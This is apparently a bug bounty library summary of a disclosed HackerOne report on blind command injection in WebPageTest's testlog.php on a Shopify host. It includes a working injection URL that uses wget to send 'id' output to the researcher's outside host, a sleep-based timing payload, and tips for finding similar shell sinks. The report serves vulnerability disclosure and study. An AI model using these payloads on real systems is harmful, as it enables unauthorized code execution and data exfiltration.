# Attention! Remote Code Execution at http://wpt.ec2.shopify.com/

Blind command injection in WebPageTest's testlog.php filter parameter let an attacker run arbitrary shell commands on Shopify's wpt.ec2 host.

- Payout: hidden
- Severity: critical
- Program: Shopify
- Found by: prakharprasad
- Disclosed: 2015-07-16
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/73567
- Library page: https://bugbountylibrary.com/r/h1%3A73567
- Tags: area:web domain:web impact:internal-access impact:rce kind:bounty platform:hackerone sev:critical technique:oob-exfil technique:source-review vuln:command-injection vuln:rce

**Target:** WebPageTest testlog.php endpoint (filter parameter)
**Root cause:** The filter parameter is passed unsanitized into a shell command, so shell metacharacters and command substitution are executed server-side.
**Steps:**
1. Review source of webpagetest www/testlog.php to spot the filter parameter reaching a shell call.
2. Request `http://wpt.ec2.shopify.com/testlog.php?days=1&filter=%24%28%60wget+sandbox.prakharprasad.com%2F%24%28id%29%60%29` to trigger command substitution.
3. Confirm blind execution by receiving the `id` output as an HTTP request in the attacker's Apache logs.
4. Alternatively enter `$(`sleep 20`)` in the text area and hit Update List; response is delayed ~20 seconds.
**How found:** Source-code review of the open-source WebPageTest project (github.com/WPO-Foundation/webpagetest) revealed the filter parameter flowing into a shell command; then tested against Shopify's hosted instance.
**Exploitation:** Attacker sends a crafted filter value containing `$(...)` command substitution; the server executes it and the attacker exfiltrates output out-of-band via wget to their own host, confirming blind RCE.
**Insight:** Open-source components hosted on a target's subdomains are fair game: read the upstream repo for shell sinks (system/exec/popen) reachable from GET parameters, then test the live deployment for blind execution via OOB callbacks.